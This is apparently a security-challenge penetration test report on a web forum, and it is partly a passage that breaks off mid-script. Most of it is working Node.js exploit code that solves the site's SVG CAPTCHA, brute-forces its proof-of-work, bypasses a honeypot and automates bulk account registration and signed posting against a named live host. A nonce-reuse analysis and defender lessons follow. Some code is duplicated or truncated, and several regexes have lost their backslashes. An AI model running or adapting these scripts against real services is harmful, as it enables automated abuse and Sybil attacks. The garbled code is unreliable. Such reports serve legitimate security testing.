(rawPoints.length !== tpl.length) continue; let score = 0, ok = true; for (let i = 0; i < tpl.length; i++) { if (rawPoints[i].cmd !== tpl[i][0]) { ok = false; break; } const dx = Math.abs(rawPoints[i].x - tpl[i][1]); const dy = Math.abs(rawPoints[i].y - tpl[i][2]); if (dx > 0.5 || dy > 0.5) { ok = false; break; } score += dx + dy; } if (ok && score < bestScore) { bestScore = score; best = char; } } result += best; } return result; } function solvePoW(challenge, difficulty) { const target = '0'.repeat(difficulty); for (let nonce = 0; nonce < 20_000_000; nonce++) { const hash = crypto.createHash('sha256').update(challenge + nonce).digest('hex'); if (hash.startsWith(target)) return String(nonce); } throw new Error('PoW unsolved'); } async function exploit() { console.log('[1] Fetch CAPTCHA'); const cap = await fetchJSON('GET', '/api/auth/captcha'); if (cap.status !== 200) { console.log('FAIL:', cap.body); return; } const { captchaSvg, captchaToken, powChallenge, powDifficulty } = cap.body; console.log(\` challenge=\${powChallenge} difficulty=\${powDifficulty}\`); console.log('[2] PoW'); const powSalt = solvePoW(powChallenge, powDifficulty); console.log(\` salt=\${powSalt}\`); console.log('[3] CAPTCHA'); const captchaText = solveCaptcha(captchaSvg); console.log(\` text=\${captchaText}\`); console.log('[4] KeyGen'); const subtle = globalThis.crypto.subtle; const keyPair = await subtle.generateKey({ name: 'ECDSA', namedCurve: 'P-256' }, true, ['sign', 'verify']); const pubSpki = await subtle.exportKey('spki', keyPair.publicKey); const privPkcs8 = await subtle.exportKey('pkcs8', keyPair.privateKey); const pubB64 = Buffer.from(pubSpki).toString('base64'); const privB64 = Buffer.from(privPkcs8).toString('base64'); const username = 'x' + Date.now().toString(36).substring(4) + crypto.randomBytes(2).toString('hex'); const passphrase = crypto.randomBytes(16).toString('hex'); console.log(\` user=\${username} pass=\${passphrase.substring(0,8)}...\`); console.log('[5] PBKDF2'); const enc = new TextEncoder(); const baseKey = await subtle.importKey('raw', enc.encode(passphrase), { name: 'PBKDF2' }, false, ['deriveKey', 'deriveBits']); const DOMAIN = 'c2.secure.forum'; const name = username.toLowerCase(); const authSalt = enc.encode(\`\${DOMAIN}:\${name}:auth:v2\`); const authBits = await subtle.deriveBits({ name: 'PBKDF2', salt: authSalt, iterations: 600000, hash: 'SHA-256' }, baseKey, 256); const authKey = Array.from(new Uint8Array(authBits)).map(b => b.toString(16).padStart(2, '0')).join(''); const encSalt = enc.encode(\`\${DOMAIN}:\${name}:enc:v2\`); const aesKey = await subtle.deriveKey( { name: 'PBKDF2', salt: encSalt, iterations: 600000, hash: 'SHA-256' }, baseKey, { name: 'AES-GCM', length: 256 }, true, ['encrypt', 'decrypt'] ); const iv = globalThis.crypto.getRandomValues(new Uint8Array(12)); const encPriv = await subtle.encrypt({ name: 'AES-GCM', iv }, aesKey, privPkcs8); const encPrivStr = \`\${Buffer.from(iv).toString('base64')}:\${Buffer.from(encPriv).toString('base64')}\`; console.log('[6] Register'); const regBody = { codename: username, password: authKey, publicKeySPKI: pubB64, encryptedPrivateKey: encPrivStr, email: '', captchaInput: captchaText, captchaToken, powChallenge, powSalt, }; const reg = await fetchJSON('POST', '/api/auth/register', regBody); console.log(\` status=\${reg.status}\`, reg.body); if (reg.status === 201) { console.log(' [✓] REGISTERED!'); console.log(' [7] Login'); const login = await fetchJSON('POST', '/api/auth/login', { codename: username, password: authKey }); console.log(\` status=\${login.status}\`); if (login.status === 200) { const token = login.body.token; console.log(\` token=\${token.substring(0,20)}...\`); console.log(' [8] Create thread'); const nonce = crypto.randomUUID(); const timestamp = new Date().toISOString(); const title = 'Sybil Registration Proof'; const content = 'Automated registration: PoW SHA-256(dif=5) + SVG vector CAPTCHA + honeypot bypassed. Proof of concept for Challenge #2: Automated Registration (Sybil).'; const payloadObj = { op: 'create-thread', title, content, author: username, nonce, timestamp }; const payload = JSON.stringify(payloadObj, Object.keys(payloadObj).sort()); const sigBytes = await subtle.sign({ name: 'ECDSA', hash: 'SHA-256' }, keyPair.privateKey, enc.encode(payload)); const signature = Buffer.from(sigBytes).toString('base64'); const thread = await fetchJSON('POST', '/api/threads', { title, content, category: 'web-security', signature, nonce, timestamp, }, { 'Authorization': \`Bearer \${token}\` }); console.log(\` status=\${thread.status}\`, thread.body); if (thread.status === 201) { console.log(' [✓] THREAD CREATED!'); return { username, passphrase, token }; } } } else if (reg.status === 429) { console.log(' RATE LIMITED. Try again later.'); } return null; } exploit().then(r => { if (r) console.log(' Done!'); else console.log(' Failed.'); }).catch(e => console.error('Error:', e)); import https from 'https'; import crypto from 'crypto'; const API = 'https://c2.noir0x63.org'; const CHAR_PATHS = { 'A': [['M', 0, 10], ['L', 5, 0], ['L', 10, 10], ['M', 2, 6], ['L', 8, 6]], 'B': [['M', 0, 0], ['L', 7, 0], ['L', 9, 2], ['L', 9, 4], ['L', 7, 5], ['L', 0, 5], ['L', 8, 5], ['L', 10, 7], ['L', 10, 9], ['L', 8, 10], ['L', 0, 10], ['L', 0, 0]], 'C': [['M', 10, 2], ['L', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8]], 'D': [['M', 0, 0], ['L', 6, 0], ['L', 10, 3], ['L', 10, 7], ['L', 6, 10], ['L', 0, 10], ['L', 0, 0]], 'E': [['M', 10, 0], ['L', 0, 0], ['L', 0, 10], ['L', 10, 10], ['M', 0, 5], ['L', 8, 5]], 'F': [['M', 10, 0], ['L', 0, 0], ['L', 0, 10], ['M', 0, 5], ['L', 8, 5]], 'G': [['M', 10, 2], ['L', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8], ['L', 10, 5], ['L', 5, 5]], 'H': [['M', 0, 0], ['L', 0, 10], ['M', 10, 0], ['L', 10, 10], ['M', 0, 5], ['L', 10, 5]], 'J': [['M', 8, 0], ['L', 8, 8], ['L', 6, 10], ['L', 2, 10], ['L', 0, 8]], 'K': [['M', 0, 0], ['L', 0, 10], ['M', 0, 5], ['L', 8, 0], ['M', 0, 5], ['L', 8, 10]], 'L': [['M', 0, 0], ['L', 0, 10], ['L', 10, 10]], 'M': [['M', 0, 10], ['L', 0, 0], ['L', 5, 5], ['L', 10, 0], ['L', 10, 10]], 'N': [['M', 0, 10], ['L', 0, 0], ['L', 10, 10], ['L', 10, 0]], 'P': [['M', 0, 10], ['L', 0, 0], ['L', 8, 0], ['L', 10, 2.5], ['L', 8, 5], ['L', 0, 5]], 'Q': [['M', 3, 0], ['L', 7, 0], ['L', 10, 3], ['L', 10, 7], ['L', 7, 10], ['L', 3, 10], ['L', 0, 7], ['L', 0, 3], ['L', 3, 0], ['M', 6, 6], ['L', 10, 10]], 'R': [['M', 0, 10], ['L', 0, 0], ['L', 8, 0], ['L', 10, 2.5], ['L', 8, 5], ['L', 0, 5], ['M', 5, 5], ['L', 10, 10]], 'S': [['M', 10, 2], ['L', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 4], ['L', 10, 6], ['L', 10, 8], ['L', 8, 10], ['L', 2, 10], ['L', 0, 8]], 'T': [['M', 0, 0], ['L', 10, 0], ['M', 5, 0], ['L', 5, 10]], 'U': [['M', 0, 0], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8], ['L', 10, 0]], 'V': [['M', 0, 0], ['L', 5, 10], ['L', 10, 0]], 'W': [['M', 0, 0], ['L', 2, 10], ['L', 5, 5], ['L', 8, 10], ['L', 10, 0]], 'X': [['M', 0, 0], ['L', 10, 10], ['M', 10, 0], ['L', 0, 10]], 'Y': [['M', 0, 0], ['L', 5, 5], ['L', 10, 0], ['M', 5, 5], ['L', 5, 10]], 'Z': [['M', 0, 0], ['L', 10, 0], ['L', 0, 10], ['L', 10, 10]], '2': [['M', 0, 2], ['L', 2, 0], ['L', 8, 0], ['L', 10, 2], ['L', 10, 5], ['L', 0, 10], ['L', 10, 10]], '3': [['M', 0, 0], ['L', 10, 0], ['L', 5, 5], ['L', 10, 5], ['L', 10, 8], ['L', 8, 10], ['L', 0, 10]], '4': [['M', 0, 0], ['L', 0, 6], ['L', 10, 6], ['M', 8, 0], ['L', 8, 10]], '5': [['M', 10, 0], ['L', 0, 0], ['L', 0, 4], ['L', 8, 4], ['L', 10, 6], ['L', 10, 8], ['L', 8, 10], ['L', 0, 10]], '6': [['M', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8], ['L', 10, 6], ['L', 8, 5], ['L', 0, 5]], '7': [['M', 0, 0], ['L', 10, 0], ['L', 4, 10]], '8': [['M', 3, 0], ['L', 7, 0], ['L', 10, 2], ['L', 10, 4], ['L', 7, 5], ['L', 3, 5], ['L', 0, 4], ['L', 0, 2], ['L', 3, 0], ['M', 3, 5], ['L', 7, 5], ['L', 10, 6], ['L', 10, 8], ['L', 7, 10], ['L', 3, 10], ['L', 0, 8], ['L', 0, 6], ['L', 3, 5]], '9': [['M', 10, 5], ['L', 3, 5], ['L', 0, 4], ['L', 0, 2], ['L', 3, 0], ['L', 7, 0], ['L', 10, 2], ['L', 10, 8], ['L', 8, 10], ['L', 2, 10]], }; const templates = {}; for (const [char, cmds] of Object.entries(CHAR_PATHS)) templates[char] = cmds; function fetchJSON(method, path, body = null, extraHeaders = {}) { return new Promise((resolve, reject) => { const url = new URL(path, API); const req = https.request({ hostname: url.hostname, port: 443, path: url.pathname + url.search, method, headers: { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0', 'Accept': 'application/json', 'Referer': 'https://c2.noir0x63.org/', 'Origin': 'https://c2.noir0x63.org', ...extraHeaders }, }, (res) => { let d = ''; res.on('data', c => d += c); res.on('end', () => { try { resolve({ status: res.statusCode, body: JSON.parse(d) }); } catch { resolve({ status: res.statusCode, body: d }); } }); }); req.on('error', reject); if (body) req.write(JSON.stringify(body)); req.end(); }); } function solveCaptcha(svgBase64) { const svg = Buffer.from(svgBase64, 'base64').toString(); const re = /<g[^>]*>.*?<paths+d="([^"]*)"[^>]*/?>/gs; let result = ''; let m; while ((m = re.exec(svg)) !== null) { const d = m[1].replace(/s+/g, ' ').trim(); const parts = d.match(/[ML]s+[d.-]+s+[d.-]+/g) || []; const rawPoints = parts.map(p => { const [cmd, x, y] = p.split(/s+/); return { cmd, x: Math.round(parseFloat(x) * 100) / 100, y: Math.round(parseFloat(y) * 100) / 100 }; }); let best = 'X', bestScore = Infinity; for (const [char, tpl] of Object.entries(templates)) { if (rawPoints.length !== tpl.length) continue; let score = 0, ok = true; for (let i = 0; i < tpl.length; i++) { if (rawPoints[i].cmd !== tpl[i][0]) { ok = false; break; } const dx = Math.abs(rawPoints[i].x - tpl[i][1]); const dy = Math.abs(rawPoints[i].y - tpl[i][2]); if (dx > 0.5 || dy > 0.5) { ok = false; break; } score += dx + dy; } if (ok && score < bestScore) { bestScore = score; best = char; } } result += best; } return result; } function solvePoW(challenge, difficulty) { const target = '0'.repeat(difficulty); for (let nonce = 0; nonce < 20_000_000; nonce++) { const hash = crypto.createHash('sha256').update(challenge + nonce).digest('hex'); if (hash.startsWith(target)) return String(nonce); } throw new Error('PoW unsolved'); } async function main() { console.log('[1] Fetch captcha'); const cap = await fetchJSON('GET', '/api/auth/captcha'); const { captchaSvg, captchaToken, powChallenge, powDifficulty } = cap.body; console.log('[2] PoW'); const powSalt = solvePoW(powChallenge, powDifficulty); console.log('[3] CAPTCHA'); const captchaText = solveCaptcha(captchaSvg); console.log(' text:', captchaText); console.log('[4] KeyGen'); const subtle = globalThis.crypto.subtle; const keyPair = await subtle.generateKey({ name: 'ECDSA', namedCurve: 'P-256' }, true, ['sign', 'verify']); const pubSpki = await subtle.exportKey('spki', keyPair.publicKey); const privPkcs8 = await subtle.exportKey('pkcs8', keyPair.privateKey); const pubB64 = Buffer.from(pubSpki).toString('base64'); const privB64 = Buffer.from(privPkcs8).toString('base64'); const username = 'x' + Date.now().toString(36).substring(4) + crypto.randomBytes(2).toString('hex'); const passphrase = crypto.randomBytes(16).toString('hex'); console.log('[5] PBKDF2'); const enc = new TextEncoder(); const baseKey = await subtle.importKey('raw', enc.encode(passphrase), { name: 'PBKDF2' }, false, ['deriveKey', 'deriveBits']); const name = username.toLowerCase(); const DOMAIN = 'c2.secure.forum'; const authSalt = enc.encode(\`\${DOMAIN}:\${name}:auth:v2\`); const authBits = await subtle.deriveBits({ name: 'PBKDF2', salt: authSalt, iterations: 600000, hash: 'SHA-256' }, baseKey, 256); const authKey = Array.from(new Uint8Array(authBits)).map(b => b.toString(16).padStart(2, '0')).join(''); const encSalt = enc.encode(\`\${DOMAIN}:\${name}:enc:v2\`); const aesKey = await subtle.deriveKey({ name: 'PBKDF2', salt: encSalt, iterations: 600000, hash: 'SHA-256' }, baseKey, { name: 'AES-GCM', length: 256 }, true, ['encrypt', 'decrypt']); const iv = globalThis.crypto.getRandomValues(new Uint8Array(12)); const encPriv = await subtle.encrypt({ name: 'AES-GCM', iv }, aesKey, privPkcs8); const encPrivStr = \`\${Buffer.from(iv).toString('base64')}:\${Buffer.from(encPriv).toString('base64')}\`; console.log('[6] Register'); const reg = await fetchJSON('POST', '/api/auth/register', { codename: username, password: authKey, publicKeySPKI: pubB64, encryptedPrivateKey: encPrivStr, email: '', captchaInput: captchaText, captchaToken, powChallenge, powSalt, }); console.log(' reg status:', reg.status); if (reg.status !== 201) { console.log(' FAIL:', reg.body); return; } console.log('[7] Login'); const login = await fetchJSON('POST', '/api/auth/login', { codename: username, password: authKey }); if (login.status !== 200) { console.log(' FAIL:', login.body); return; } const token = login.body.token; console.log(' token:', token.substring(0, 20) + '...'); console.log('[8] Create thread'); const title = 'Sybil Registration Proof'; const content = 'Automated registration: PoW(dif=5) + SVG CAPTCHA + honeypot bypassed.'; const nonce = crypto.randomUUID(); const timestamp = new Date().toISOString(); const payloadObj = { op: 'create-thread', title, content, author: username, nonce, timestamp }; const payloadStr = JSON.stringify(payloadObj, Object.keys(payloadObj).sort()); console.log(' payload:', payloadStr); const sigBytes = await subtle.sign({ name: 'ECDSA', hash: 'SHA-256' }, keyPair.privateKey, enc.encode(payloadStr)); const signature = Buffer.from(sigBytes).toString('base64'); console.log(' signature:', signature.substring(0, 30) + '...'); const thread = await fetchJSON('POST', '/api/threads', { title, content, category: 'web-security', signature, nonce, timestamp, }, { 'Authorization': \`Bearer \${token}\` }); console.log(' thread status:', thread.status, JSON.stringify(thread.body)); } main().catch(e => console.error('Error:', e.message)); import https from 'https'; function fetch(p) { return new Promise((r, j) => { const u = new URL(p, 'https://c2.noir0x63.org'); const q = https.request({ hostname: u.hostname, port: 443, path: u.pathname + u.search, method: 'GET', headers: { 'User-Agent': 'Mozilla/5.0' } }, (s) => { let d = ''; s.on('data', c => d += c); s.on('end', () => r(JSON.parse(d))); }); q.on('error', j); q.end(); }); } async function main() { const cap = await fetch('/api/auth/captcha'); const svg = Buffer.from(cap.captchaSvg, 'base64').toString(); const groupRe = /<g[^>]*>([sS]*?)</g>/g; let idx = 0, gm; while ((gm = groupRe.exec(svg)) !== null) { const raw = gm[1]; console.log(\` === Char \${++idx} raw content ===\`); console.log(raw); } console.log(' === All path elements ==='); const pathRe = /<paths+d="([^"]*)"[^>]*/?>/g; let pm; while ((pm = pathRe.exec(svg)) !== null) { const d = pm[1]; console.log(\`d="\${d.substring(0, 80)}..."\`); const segs = d.match(/[MC]s+[d.-]+(s+[d.-]+)*/g) || []; console.log(\` Segments: \${segs.length}\`); for (const seg of segs.slice(0, 3)) { console.log(\` \${seg.substring(0, 60)}\`); } } } main().catch(e => console.error(e)); Whitebox Pt 2: State Corruption & Nonce Reuse
6. Phase 4: Exploitation — Challenge #3 (State Corruption)
6.1 Vulnerability Analysis
The system implements anti-replay protection via:
const usedNonces = new Map(); function validateFreshness(nonce, timestamp) { if (usedNonces.has(nonce)) return false; const ts = new Date(timestamp).getTime(); if (isNaN(ts) || Math.abs(Date.now() - ts) > 5 * 60 * 1000) return false; usedNonces.set(nonce, ts); return true; } setInterval(() => { const now = Date.now(); for (const [nonce, ts] of usedNonces.entries()) { if (now - ts > 5 * 60 * 1000) usedNonces.delete(nonce); } }, 60000).unref(); Two vulnerabilities:
- Nonces only in RAM: They do not persist in SQLite. Cleanup deletes them after 5 minutes.
- Boundary check with
>: Timestamps on the exact 5-minute boundary PASS the validation.
6.2 Proof of Concept — Nonce Reuse
A test script was designed with 4 scenarios:
const token = await login(usuario); const nonce = crypto.randomUUID(); const timestamp = new Date().toISOString(); const res1 = await createThread(token, nonce, timestamp); const res2 = await createThread(token, nonce, timestamp); const futureTs = new Date(Date.now() + 300000).toISOString(); const res3 = await createThread(token, crypto.randomUUID(), futureTs); const pastTs = new Date(Date.now() - 301000).toISOString(); const res4 = await createThread(token, crypto.randomUUID(), pastTs); 6.3 Test Results
| Test | Description | Result | Code |
|---|---|---|---|
| 1 | Normal creation with unique nonce | ✅ Accepted | 201 |
| 2 | Immediate reuse of the same nonce | ✅ Blocked (FRESHNESS_CHECK) | 400 |
| 3 | Timestamp exactly 5 min in the future | ✅ ACCEPTED (VULNERABLE) | 201 |
| 4 | Timestamp 5min+1s in the past | ✅ Blocked (FRESHNESS_CHECK) | 400 |
6.4 Complete Attack Vector
1. Atacante registra usuario legítimo (vía Sybil bypass) 2. Atacante crea thread legítimo con nonce X 3. Atacante captura nonce X de la respuesta o del feed público 4. Atacante espera 5+ minutos 5. El servidor elimina nonce X del Map (cleanup automático) 6. Atacante envía NUEVA petición con: - Mismo nonce X - Diferente título/contenido (payload mutado) - Nueva firma ECDSA (válida para su propia clave) - Nuevo timestamp (dentro de ventana) 7. validateFreshness() retorna true (nonce X ya no está en Map) 8. El servidor acepta y PERSISTE el payload mutado en DB 6.5 Implications
- //Nonce Replay: An attacker can create unlimited threads/replies with the same nonce, as long as they wait ~5 minutes between each.
- //Integrity Violation: The system promises "replay protection" but does not enforce it for windows >5 minutes.
- //Deniability: A documented nonce in a legitimate thread can be reused to create malicious content, and the nonce would appear in both DB records.
7. Phase 5: Non-Exploitable Vectors
7.1 Signature Forgery (ECDSA P-256)
No exploitable vulnerability was found:
| Attempt | Technique | Result |
|---|---|---|
| Weak cryptographic nonce | k reused attack | ❌ No access to multiple signatures from the same user |
| Extractable key | extractable: false bypass | ❌ WebCrypto respects non-extractable |
| verify implementation | crypto.createVerify | ❌ Native Node.js, no known vulnerabilities |
| Key recovery | Signature analysis | ❌ Only 1 signature available (Noir's Manifesto) |
7.2 SQL Injection
All queries use positional parameters:
db.get('SELECT * FROM users WHERE codename = ?', [codename], ...) db.all('SELECT * FROM threads WHERE author = ?', [author], ...) Not exploitable: sqlite3 with ? parameters completely prevents SQL injection.
7.3 Path Traversal
Double filter in global gateway:
app.use((req, res, next) => { const decodedPath = decodeURIComponent(req.path); if (req.path.includes('..') || decodedPath.includes('..')) { return res.status(400).json({ error: 'PATH_TRAVERSAL_DETECTED' }); } next(); }); Not exploitable: Verifies both the raw path and decoded path.
7.4 XSS (Cross-Site Scripting)
Multiple defense layers:
- CSP:
default-src 'self'; script-src 'self' https://cdn.jsdelivr.net ... - DOMPurify: Sanitization of HTML rendered from Markdown
- textContent: Preferred over innerHTML for user data
- html-escape: Secondary escaping layer (with regex bugfix)
Not exploitable: CSP blocks any unauthorized inline script.
7.5 Escalation to COMMANDER
The COMMANDER role is assigned exclusively via setup.js on the physical server:
const existing = await db.get("SELECT codename FROM users WHERE role = 'COMMANDER'"); if (existing) { console.error(\`[ABORT] Commander "\${existing.codename}" is already initialized.\`); process.exit(1); } Not remotely exploitable: There is no HTTP endpoint to assign roles.
7.6 Password Brute Force
- //scrypt N=131072: ~100ms per verification (extremely slow)
- //Rate limiting: 10 attempts / 15 minutes
- //Session tokens:
crypto.randomBytes(32)= 256 bits of entropy
Not exploitable: Rate limiting + scrypt make any brute force attack unfeasible.
7.7 Token Manipulation
Tokens are NOT JWTs:
const token = crypto.randomBytes(32).toString('hex'); Not exploitable: No structure to decode or manipulate. No signature to verify.
8. Exploitation Chronology
| Step | Action | Duration | File |
|---|---|---|---|
| 1 | Target reconnaissance | 5 min | - |
| 2 | Fetch Manifesto | 1 min | - |
| 3 | API endpoint mapping | 5 min | - |
| 4 | Headers and rate limits analysis | 5 min | - |
| 5 | Searching the repository on GitHub | 2 min | - |
| 6 | Reading server.js, captcha.js, setup.js | 15 min | - |
| 7 | First attempt of CAPTCHA solver (heuristic) | 10 min | exploit.js |
| 8 | Second attempt (WebCrypto + PoW) | 10 min | exploit2.mjs |
| 9 | SVG pattern analysis in Python | 10 min | solve_captcha.py |
| 10 | Inverse SVG transform (failed) | 20 min | solve_captcha_final.mjs |
| 11 | Transform debug → key discovery | 15 min | test_transform.mjs |
| 12 | Direct path data matching (SUCCESSFUL) | 5 min | debug_captcha2.mjs |
| 13 | Automated registration SUCCESSFUL | 2 min | final_exploit.mjs |
| 14 | Login + thread creation SUCCESSFUL | 2 min | final_exploit2.mjs |
| 15 | Nonce reuse test (State Corruption) | 10 min | nonce_test.mjs |
| 16 | ECDSA signature debug | 5 min | debug_sig.mjs |
Total Time: ~2 hours (including debugging)
9. Timeline
T+00:00 → Primer fetch del target T+00:05 → Manifesto leído: 3 desafíos identificados T+00:10 → Endpoints mapeados, rate limits descubiertos T+00:15 → Repositorio encontrado en GitHub T+00:30 → Código fuente analizado: CHAR_PATHS descubiertos T+00:40 → Primer exploit intentado (fallo CAPTCHA) T+00:50 → Análisis de patrones SVG T+01:10 → Debug de transformada SVG → path data es raw T+01:15 → CAPTCHA solver funcional T+01:20 → REGISTRO AUTOMATIZADO EXITOSO T+01:22 → LOGIN + THREAD CREADO T+01:35 → Nonce reuse test: estado vulnerable confirmado T+02:00 → Reporte finalizado 10. Generated Artifacts
10.1 PoCs
| # | File | Description |
|---|---|---|
| 1 | poc/01_sybil_registration.mjs | Sybil registration: CAPTCHA+PoW bypass + registration |
| 2 | poc/02_sybil_full_exploit.mjs | Full exploit: registration + login + thread creation |
| 3 | poc/03_nonce_reuse_test.mjs | Nonce reuse and boundary timestamp test |
| 4 | poc/04_captcha_solver.mjs | Standalone CAPTCHA solver with CHAR_PATHS |
| 5 | poc/05_captcha_debug.mjs | SVG character matching debug |
| 6 | poc/06_sig_verification_test.mjs | ECDSA signature verification test |
10.2 Dependencies
- //Node.js ≥ 18 (requires native WebCrypto API:
globalThis.crypto.subtle) - //Native modules:
crypto,https(built-in, no npm install required) - //Does not require: external libraries, third-party APIs, or Tesseract
10.3 Execution
# Registro automatizado completo node poc/02_sybil_full_exploit.mjs # Test de nonce reuse node poc/03_nonce_reuse_test.mjs # CAPTCHA solver standalone node poc/04_captcha_solver.mjs 11. Conclusions
11.1 Summary of Findings
The C2 Forum system implements a robust security architecture with multiple defense layers. However, vulnerabilities were identified in 2 of the 3 challenge areas:
| Area | Defense | Bypass |
|---|---|---|
| Registration | PoW SHA-256(dif 5) | ~1M CPU-side hashes (~1s) |
| Registration | SVG Vector CAPTCHA without <text> | Path matching with ±0.5px tolerance |
| Registration | Honeypot field | email: "" |
| Anti-replay | UUIDv4 Nonces | RAM only with 5min cleanup |
| Anti-replay | Timestamp 5min window | Boundary check with > instead of >= |
| Authentication | scrypt N=131072 | Not exploitable |
| Authorization | COMMANDER role CLI-only | Not exploitable |
| Integrity | ECDSA P-256 Signatures | Not exploitable |
11.2 Lessons for Defenders
Vector CAPTCHA: If paths are generated from fixed templates with predictable jitter and exposed to the client, an attacker with source access can reconstruct the exact templates and perform deterministic matching. Solution: use procedural character generation (not fixed templates) or server-side validation with cryptographic challenge-response.
Anti-replay Nonces: Store in DB with a UNIQUE constraint, not just in RAM. The lifetime of a nonce should be indefinite (or at least larger than the system's active window).
Boundary Conditions: Use
>=instead of>for temporal tolerance boundaries.Honeypot: Consider more robust techniques like hashcash or asymmetric proofs of work.
Layered Security: Despite the vulnerabilities found, the system is more secure than most traditional forums. The combination of ECDSA + scrypt + CSP + rate limiting + httpOnly cookies + anti-CSRF makes most common attack vectors unfeasible.
11.3 Final System State
Following the proofs of concept, a user (xlawt30e4) and a public thread were successfully created, demonstrating the automated registration capability. No destructive actions were performed, and no data from other users was modified.
Report generated on June 27, 2026 Tools: Node.js v25.9.0, Python 3.14, curl Target: https://c2.noir0x63.org
Attached Exploit PoCs (Phase 4)
import https from 'https'; import crypto from 'crypto'; const API = 'https://c2.noir0x63.org'; const CHAR_PATHS = { 'A':[['M',0,10],['L',5,0],['L',10,10],['M',2,6],['L',8,6]],'B':[['M',0,0],['L',7,0],['L',9,2],['L',9,4],['L',7,5],['L',0,5],['L',8,5],['L',10,7],['L',10,9],['L',8,10],['L',0,10],['L',0,0]],'C':[['M',10,2],['L',8,0],['L',2,0],['L',0,2],['L',0,8],['L',2,10],['L',8,10],['L',10,8]],'D':[['M',0,0],['L',6,0],['L',10,3],['L',10,7],['L',6,10],['L',0,10],['L',0,0]],'E':[['M',10,0],['L',0,0],['L',0,10],['L',10,10],['M',0,5],['L',8,5]],'F':[['M',10,0],['L',0,0],['L',0,10],['M',0,5],['L',8,5]],'G':[['M',10,2],['L',8,0],['L',2,0],['L',0,2],['L',0,8],['L',2,10],['L',8,10],['L',10,8],['L',10,5],['L',5,5]],'H':[['M',0,0],['L',0,10],['M',10,0],['L',10,10],['M',0,5],['L',10,5]],'J':[['M',8,0],['L',8,8],['L',6,10],['L',2,10],['L',0,8]],'K':[['M',0,0],['L',0,10],['M',0,5],['L',8,0],['M',0,5],['L',8,10]],'L':[['M',0,0],['L',0,10],['L',10,10]],'M':[['M',0,10],['L',0,0],['L',5,5],['L',10,0],['L',10,10]],'N':[['M',0,10],['L',0,0],['L',10,10],['L',10,0]],'P':[['M',0,10],['L',0,0],['L',8,0],['L',10,2.5],['L',8,5],['L',0,5]],'Q':[['M',3,0],['L',7,0],['L',10,3],['L',10,7],['L',7,10],['L',3,10],['L',0,7],['L',0,3],['L',3,0],['M',6,6],['L',10,10]],'R':[['M',0,10],['L',0,0],['L',8,0],['L',10,2.5],['L',8,5],['L',0,5],['M',5,5],['L',10,10]],'S':[['M',10,2],['L',8,0],['L',2,0],['L',0,2],['L',0,4],['L',10,6],['L',10,8],['L',8,10],['L',2,10],['L',0,8]],'T':[['M',0,0],['L',10,0],['M',5,0],['L',5,10]],'U':[['M',0,0],['L',0,8],['L',2,10],['L',8,10],['L',10,8],['L',10,0]],'V':[['M',0,0],['L',5,10],['L',10,0]],'W':[['M',0,0],['L',2,10],['L',5,5],['L',8,10],['L',10,0]],'X':[['M',0,0],['L',10,10],['M',10,0],['L',0,10]],'Y':[['M',0,0],['L',5,5],['L',10,0],['M',5,5],['L',5,10]],'Z':[['M',0,0],['L',10,0],['L',0,10],['L',10,10]],'2':[['M',0,2],['L',2,0],['L',8,0],['L',10,2],['L',10,5],['L',0,10],['L',10,10]],'3':[['M',0,0],['L',10,0],['L',5,5],['L',10,5],['L',10,8],['L',8,10],['L',0,10]],'4':[['M',0,0],['L',0,6],['L',10,6],['M',8,0],['L',8,10]],'5':[['M',10,0],['L',0,0],['L',0,4],['L',8,4],['L',10,6],['L',10,8],['L',8,10],['L',0,10]],'6':[['M',8,0],['L',2,0],['L',0,2],['L',0,8],['L',2,10],['L',8,10],['L',10,8],['L',10,6],['L',8,5],['L',0,5]],'7':[['M',0,0],['L',10,0],['L',4,10]],'8':[['M',3,0],['L',7,0],['L',10,2],['L',10,4],['L',7,5],['L',3,5],['L',0,4],['L',0,2],['L',3,0],['M',3,5],['L',7,5],['L',10,6],['L',10,8],['L',7,10],['L',3,10],['L',0,8],['L',0,6],['L',3,5]],'9':[['M',10,5],['L',3,5],['L',0,4],['L',0,2],['L',3,0],['L',7,0],['L',10,2],['L',10,8],['L',8,10],['L',2,10]]}; const templates = {}; for (const [c,cmds] of Object.entries(CHAR_PATHS)) templates[c] = cmds; function fetch(m,p,b,h) { return new Promise((r,j) => { const u = new URL(p, API); const o = { hostname: u.hostname, port: 443, path: u.pathname+u.search, method: m, headers: {'Content-Type':'application/json','User-Agent':'Mozilla/5.0','Accept':'application/json',...h||{}} }; const q = https.request(o, (s) => { let d=''; s.on('data',c=>d+=c); s.on('end',()=>{try{r({s:s.statusCode,b:JSON.parse(d)})}catch{r({s:s.statusCode,b:d})}}); }); q.on('error',j); if(b) q.write(JSON.stringify(b)); q.end(); }); } function solveCaptcha(svg) { const s = Buffer.from(svg,'base64').toString(); const re = /<g[^>]*>.*?<paths+d="([^"]*)"[^>]*/?>/gs; let r='', m; while ((m = re.exec(s)) !== null) { const d = m[1].replace(/s+/g,' ').trim(); const pts = (d.match(/[ML]s+[d.-]+s+[d.-]+/g)||[]).map(p => {const[c,x,y]=p.split(/s+/); return {cmd:c,x:Math.round(parseFloat(x)*100)/100,y:Math.round(parseFloat(y)*100)/100};}); let best='X', bs=Infinity; for (const [ch,tpl] of Object.entries(templates)) { if (pts.length !== tpl.length) continue; let score=0, ok=true; for (let i=0; i<tpl.length; i++) { if (pts[i].cmd !== tpl[i][0]) { ok=false; break; } const dx=Math.abs(pts[i].x-tpl[i][1]), dy=Math.abs(pts[i].y-tpl[i][2]); if (dx>0.5||dy>0.5) { ok=false; break; } score+=dx+dy; } if (ok&&score<bs) { bs=score; best=ch; } } r+=best; } return r; } async function main() { const subtle = globalThis.crypto.subtle; const enc = new TextEncoder(); console.log('[1] CAPTCHA'); const cap = await fetch('GET','/api/auth/captcha'); const captchaText = solveCaptcha(cap.b.captchaSvg); console.log(' text:', captchaText); console.log('[2] PoW'); let powSalt = '0'; for (let i=0; i<20000000; i++) { if (crypto.createHash('sha256').update(cap.b.powChallenge+i).digest('hex').startsWith('0'.repeat(5))) { powSalt=String(i); break; } } console.log(' salt:', powSalt); console.log('[3] KeyGen'); 